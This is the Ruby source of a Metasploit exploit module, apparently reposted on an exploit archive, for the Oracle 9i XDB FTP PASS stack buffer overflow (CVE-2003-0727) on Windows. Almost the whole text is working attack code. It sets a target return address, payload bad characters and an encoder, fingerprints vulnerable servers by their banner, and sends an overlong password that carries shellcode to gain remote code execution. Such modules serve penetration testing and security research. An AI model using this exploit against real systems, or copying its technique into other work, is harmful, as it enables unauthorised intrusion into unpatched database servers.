Oracle 9i XDB (Windows x86) – FTP PASS Overflow (Metasploit)
## # $Id: oracle9i_xdb_ftp_pass.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle 9i XDB FTP PASS Overflow (win32)', 'Description' => %q{ By passing an overly long string to the PASS command, a stack based buffer overflow occurs. David Litchfield, has illustrated multiple vulnerabilities in the Oracle 9i XML Database (XDB), during a seminar on "Variations in exploit methods between Linux and Windows" presented at the Blackhat conference. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2003-0727'], [ 'OSVDB', '2449'], [ 'BID', '8375'], [ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Targets' => [ [ 'Oracle 9.2.0.1 Universal', { 'Platform' => 'win', 'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret) }, ], ], 'DisclosureDate' => 'Aug 18 2003', 'DefaultTarget' => 0)) register_options([Opt::RPORT(2100),], self.class) deregister_options('FTPUSER', 'FTPPASS') end def check connect disconnect if (banner =~ /9\.2\.0\.1\.0/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect user = rand_text_alpha_upper(10) sploit = rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6) sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded print_status("Trying target #{target.name}...") send_cmd( ['USER', user], true ) send_cmd( ['PASS', sploit], false ) handler disconnect end end |